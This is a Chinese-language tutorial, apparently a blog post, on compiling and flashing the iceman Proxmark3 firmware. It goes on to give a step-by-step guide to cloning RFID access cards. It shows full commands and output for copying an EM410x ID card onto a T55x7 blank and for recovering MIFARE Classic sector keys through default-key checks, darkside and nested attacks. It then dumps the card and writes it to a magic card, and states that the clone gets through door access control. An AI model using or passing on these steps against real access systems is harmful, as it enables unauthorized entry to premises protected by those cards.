一、Kali Linux下ProxMark3客户端的编译和升级
以iceman的固件为例,iceman的固件提供了更多的特性,更新也更快。
1.安装依赖
sudo apt-get install p7zip git build-essential
sudo apt-get install libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config
sudo apt-get install wget libncurses5-dev gcc-arm-none-eabi
2.复制iceman仓库,编译客户端
cd ~ ##切换到用户目录
git clone https://github.com/iceman1001/proxmark3.git ##克隆仓库
cd /proxmark3 ##进入目录
git pull ##更新仓库,后续升级可以直接从这一步开始
make clean && make all ##编译仓库
3.升级ProxMark3的固件
很多新手都会被所谓老鸟或者商家警告,不要自己刷固件,不要刷boot,容易让PM3变砖。实际上,一旦遇到固件升级失败,或者刷了相互不匹配的boot和image,只需要插拔PM3和刷固件的时候,按住PM3上的按钮进行强刷。在windows下面,遇到固件出错,电脑不识别的时候,也是只要一直按住PM3上的按钮即可把固件强刷到PM3里面。
sudo client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf
##调用client文件夹里的flasher刷写程序写入固件,先写入boot
client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf
##刷入镜像文件
其中设备的接口ACM0,通过下面的命令查看
dmesg | grep -i usb
如果是老版本的驱动,会采用HID的方式连接,需要升级成新版本的CDC方式。
二、ID和IC卡的复制攻击
1.判断卡类型的技巧
##进入proxmark3客户端
client/proxmark3 /dev/ttyACM0
hw tune
##测试信号是否正常,回显结果如下
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
....
[+] LF antenna: 24.08 V - 125.00 kHz
[+] LF antenna: 21.10 V - 134.00 kHz
[+] LF optimal: 24.50 V - 126.32 kHz
[+] LF antenna is OK
[+] HF antenna: 15.37 V - 13.56 MHz
[+] HF antenna is OK
[+] Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
pm3 -->
没有放入任何卡的时候,高频天线的电压是15.37V,或者根据实际情况有所不同,这是高频天线的非工作电压。
##放入高频卡时的电压变化
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
...
[+] LF antenna: 24.08 V - 125.00 kHz
[+] LF antenna: 21.10 V - 134.00 kHz
[+] LF optimal: 24.50 V - 126.32 kHz
[+] LF antenna is OK
[+] HF antenna: 14.20 V - 13.56 MHz
[+] HF antenna is OK
[+] Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
电压下降了1V多,如果放在高频天线上的是低频卡,电压变化幅度不大。利用这个方法,可以简单的判断一下卡的类型。
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
....
[+] LF antenna: 24.08 V - 125.00 kHz
[+] LF antenna: 21.10 V - 134.00 kHz
[+] LF optimal: 24.50 V - 126.32 kHz
[+] LF antenna is OK
[+] HF antenna: 15.74 V - 13.56 MHz
[+] HF antenna is OK
[+] Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
2.ID卡(低频:LF)复制
ID卡是出厂时写死ID,不可修改的低频卡。一般ID卡,仅仅是判断该卡的ID是否在数据库中,在就放行,不在就拒绝。所以只要把ID卡的ID写入到可复制的ID中,就可以过门禁。
##将ID卡放到proxmark3的低频天线上。
##读取ID的信息,其中lf是指采用低频工具包
pm3 --> lf search
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found
EM TAG ID : 08003C9F5F
Possible de-scramble patterns
Unique TAG ID : 10003CF9FA
HoneyWell IdentKey {
DEZ 8 : 03972959
DEZ 10 : 0003972959
DEZ 5.5 : 00060.40799
DEZ 3.5A : 008.40799
DEZ 3.5B : 000.40799
DEZ 3.5C : 060.40799
DEZ 14/IK2 : 00034363711327
DEZ 15/IK3 : 000068723472890
DEZ 20/ZK : 01000000031215091510
}
Other : 40799_060_03972959
Pattern Paxton : 139517279 [0x850DD5F]
Pattern 1 : 5597182 [0x5567FE]
Pattern Sebury : 40799 60 3972959 [0x9F5F 0x3C 0x3C9F5F]
[+] Valid EM410x ID Found!
从回显结果,可以获知卡的类型是EM410x,EM ID是08003C9F5F。接着直接写入新卡
if em 410x_write工具写入,最后1和64是写入的数据块大小
pm3 --> lf em 410x_write 08003C9F5F 1 64
Writing T55x7 tag with UID 0x08003c9f5f (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xff822001b12f2bd6
3.IC卡复制
1读卡:hf 14a info
pm3 --> hf 14a info
UID : 15 54 C6 AC
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1
[=] proprietary non iso14443-4 card found, RATS not supported
[=] Answers to magic commands: NO
[+] Prng detection: WEAK
pm3 -->
可以得到这张卡的UID是1554C6AC,卡的类型是mifare c1,即m1卡,存储空间时1k
2.破解卡的加密信息:弱口令测试
很多m1的卡,都采用出厂的弱口令,可以直接试出密码信息
hf mf chk *1 ? t
pm3 --> hf mf chk *1 ? t
No key specified, trying default keys
[ 0] ffffffffffff
[ 1] 000000000000
[ 2] a0a1a2a3a4a5
[ 3] b0b1b2b3b4b5
[ 4] c0c1c2c3c4c5
[ 5] d0d1d2d3d4d5
[ 6] aabbccddeeff
[ 7] 1a2b3c4d5e6f
[ 8] 123456789abc
[ 9] 010203040506
[10] 123456abcdef
[11] abcdef123456
[12] 4d3a99c351dd
[13] 1a982c7e459a
[14] d3f7d3f7d3f7
[15] 714c5c886e97
[16] 587ee5f9350f
[17] a0478cc39091
[18] 533cb6c723f6
[19] 8fd0a4f256e9
................................
Time in checkkeys: 10 seconds
testing to read key B...
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ------------ | 0 | ------------ | 0 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ------------ | 0 | ffffffffffff | 1 |
|011| ------------ | 0 | ffffffffffff | 1 |
|012| ------------ | 0 | ffffffffffff | 1 |
|013| ------------ | 0 | ffffffffffff | 1 |
|014| ------------ | 0 | ffffffffffff | 1 |
|015| ------------ | 0 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Found keys have been transferred to the emulator memory
回显的标识key a,key b就是每个扇区的密码,接着可以利用nested攻击,获取所有扇区的密码
2.破解卡的加密信息:darkside攻击
另外一种获取扇区密码的方式,如果不是冰人固件,修改为mfare
hf mf darkside
pm3 --> hf mf darkside
--------------------------------------------------------------------------------
executing Darkside attack. Expected execution time: 25sec on average
press pm3-button on the proxmark3 device to abort both proxmark3 and client.
--------------------------------------------------------------------------------
[+] Parity is all zero. Most likely this card sends NACK on every authentication.
[-] no candidates found, trying again
.
[-] no candidates found, trying again
.
[+] found 12 candidate keys.
[+] found valid key: ffffffffffff
得到一个有效的秘钥
3.破解卡的加密信息:获取全扇区秘钥
hf mf nested 1 0 A ffffffffffff d
pm3 --> hf mf nested 1 0 A ffffffffffff d
[+] Testing known keys. Sector count=16
[-] Chunk: 1.4s | found 24/32 keys (21)
[+] Time to check 20 known keys: 1 seconds
[+] enter nested attack
[+] target block: 20 key type: A
[+] target block: 20 key type: B -- found valid key [eba93a57cfe0]
[-] Chunk: 0.5s | found 1/32 keys (1)
[+] target block: 40 key type: A
[+] target block: 44 key type: A
[+] target block: 48 key type: A -- found valid key [505df95da97b]
[-] Chunk: 0.5s | found 21/32 keys (1)
[+] target block: 20 key type: A -- found valid key [1456c5a8301f]
[-] Chunk: 0.6s | found 2/32 keys (1)
[+] time in nested: 8 seconds
[+] trying to read key B...
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| 1456c5a8301f | 1 | eba93a57cfe0 | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| 505df95da97b | 1 | ffffffffffff | 1 |
|011| 505df95da97b | 1 | ffffffffffff | 1 |
|012| 505df95da97b | 1 | ffffffffffff | 1 |
|013| 505df95da97b | 1 | ffffffffffff | 1 |
|014| 505df95da97b | 1 | ffffffffffff | 1 |
|015| 505df95da97b | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
[+] saving keys to binary file hf-mf-1554C6AC-key.bin...
获取全扇区的秘钥,并把二进制文件保存为*.bin,此时可以读取每一个扇区的数据
4.读取全扇区数据
hf mf dump
pm3 --> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
[+] successfully read block 0 of sector 0.
[+] successfully read block 1 of sector 0.
[+] successfully read block 2 of sector 0.
[+] successfully read block 3 of sector 0.
[+] successfully read block 1 of sector 15.
[+] successfully read block 2 of sector 15.
[+] successfully read block 3 of sector 15.
[+] dumped 64 blocks (1024 bytes) to file hf-mf-1554C6AC-data.bin
成功写入文件
5.设置新卡uid,并写入全部数据完成复制
把可写的IC卡放到高频天线上,先写入读卡时获得的uid,再写入全扇区数据。
hf mf csetuid xxxxxxxx w
hf mf restore
点击数:1180